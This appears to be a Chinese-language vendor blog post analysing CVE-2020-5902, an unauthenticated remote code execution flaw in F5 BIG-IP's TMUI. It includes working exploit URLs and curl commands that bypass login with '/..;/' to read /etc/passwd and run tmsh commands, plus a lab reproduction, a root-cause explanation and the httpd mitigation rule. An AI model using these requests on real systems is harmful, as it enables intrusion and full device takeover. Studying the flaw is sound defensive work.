F5 BIG-IP远程代码执行漏洞深度解析

前言

今日一早，推特以及各大技术论坛上炸开了锅，安全圈子的人都在讨论F5设备里远程代码执行的漏洞。很多讨论的内容，大部分是在分享如何寻找目标，利用漏洞，并没有关于对漏洞成因的分析。CertiK的安全研究员下载了存在漏洞的程序，搭建环境复现漏洞后，对漏洞的起因进行了分析，并在下文分享给大家。

背景

F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。Positive Technologies的研究人员Mikhail Klyuchnikov 发现其配置工具Traffic Management User Interface（TMUI）中存在远程代码执行漏洞，CVE编号为CVE-2020-5902。该漏洞CVSSv3评分为10分，攻击者可利用该漏洞创建或删除文件，关闭服务、执行任意的系统命令，最终获得服务器的完全控制权。CVE具体表述请查看文章底部参考链接1。

受影响的BIG-IP软件版本

• 15.0.0-15.1.0.3

• 14.1.0-14.1.2.5

• 13.1.0-13.1.3.3

• 12.1.0-12.1.5.1

• 11.6.1-11.6.5.1

漏洞利用

读取任意文件:

curl -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

远程执行tmsh命令:

curl -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

官方给出的临时修复方案(后文会对修复进行分析)

漏洞复现

在F5的官网注册账号之后，可以从F5的资源库中下载存在漏洞的BIG-IP软件。访问参考链接2可以下载BIG-IP TMOS(Traffic Management Operating System, 流量管理操作系统)的虚拟机镜像。CertiK技术人员因为使用Vmware Fusion, 下载的是“BIGIP-15.0.0-0.0.39.ALL_1SLOT-vmware.ova-Image fileset for VMware ESX/i Server”。

在Vmware Fusion中加载镜像(import)：

加载完成之后，使用默认用户名密码登陆系统:

用户名: root

密码: default

系统初始化之后，使用”ifconfig”命令查询虚拟机IP地址. CertiK团队的BIG-IP TMUI虚拟机IP地址为”172.16.4.137”

在浏览器中访问BIG-IP TMUI登陆界面:

https://172.16.4.137/tmui/login.jsp

• 复现任意文件读取:

在浏览器中访问以下地址可以读取”/etc/passwd”文件内容:

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

• 复现tmsh命令执行:

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

漏洞分析

在进入漏洞分析前，先要明确一点：漏洞利用中的fileRead.jsp和tmshCmd.jsp文件在用户登陆后本身就是可以被访问的。 

下面的动图显示了登陆前和登陆后访问以下URL的区别：

https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

登陆前访问会被跳转回登陆界面:

fileRead.jsp和tmshCmd.jsp虽然是在PoC中最终被利用的文件，但是他们并不是漏洞的起因。此漏洞的本质是利用Apache和后台Java(tomcat)对URL的解析方式不同来绕过登陆限制, 在未授权的情况下，访问后台JSP模块。CertiK技术人员第一次注意到此类型漏洞是在2018年Orange的BlackHat演讲: “Breaking Parser Logic Take Your Path Normalization Off and Pop 0Days Out”. 这里可以查看演讲稿件(参考链接2)。

这里我们可以理解在F5 BIG-IP的后台服务器对收到了URL请求进行了两次的解析，第一次是httpd(Apache), 第二次是后一层的Java(tomcat)。

在URL在第一次被Apache解析时，Apache关注的是URL的前半段

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

当Apache在看见前半段是合法URL且是允许被访问的页面时，就把它交给了后面的第二层。Apache在这里完全把URL里面关键的/..;/给无视了。

在URL在第二次被解析时，后面的Java(tomcat)会把/..;/理解为，向上返回一层路径。此时,  /login.jsp/ 和 /..;/会抵消掉。Tomcat看到的真正请求从

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

变成了:

https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

再来fileRead.jsp并没有对收到的请求进行身份验证，后台因此直接执行fileRead.jsp, 读取并返回了/etc/passwd文件的内容。

根据以上的思路，其实可以找出别的利用漏洞的URL, 比如:

https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

“https://172.16.4.137/tmui/tmui/login/legal.html”和之前的“login.jsp”一样，是一个不需要登陆就能访问的页面。但是因为要向上返回两次，需要用两个/..;/来抵消掉 ”/login/legal.html”。

回到开头提到的官方给出的临时修复方案, 修复方案的本质是在httpd的配置中添加以下规则:

include '

<LocationMatch ".*\.\.;.*">

Redirect 404 /

</LocationMatch>

'

这个规则的意思是，当http服务器在监测到URL中包含..;(句号句号分号)的时候，直接返回404。这样利用漏洞的请求就没办法到达后台(第二层)了。

如何避免漏洞

此漏洞的利用方式在网络上公开之后，因为它的攻击成本低廉，大批黑客都开始图谋利用此漏洞攻击使用F5 BIG-IP产品的系统。黑客只需要付出极小的代价就能获得目标系统的控制权，对系统产生巨大的破坏。

俗话说：“不怕贼偷，就怕贼惦记”。即便这样的黑客攻击事件这次没有发生在你身上，不代表你是安全的。因为很有可能黑客的下一个目标就是你。

而Certik的专业技术团队会帮你彻底打消这种“贼惦记”的担忧。CertiK专业渗透测试团队会通过对此类事件的监测，第一时间给客户提交漏洞预警报告，帮助客户了解漏洞细节以及防护措施。此举可以确保客户的系统不受攻击并且不会遭受财产损失。

同时作为一名安全技术人员，在新漏洞被发现的时，不仅需要知道漏洞是如何被黑客利用的，更要去探寻漏洞背后的原因，方可积累经验，更加有能力在复杂的系统中发现隐藏的漏洞。

CertiK以及其技术人员，将永远把安全当做信仰，与大家一同学习并一同成长。

参考链接：

1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902
   
2. https://downloads.f5.com/esd/ecc.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.0.0&container=Virtual-Edition
   
3. https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
   

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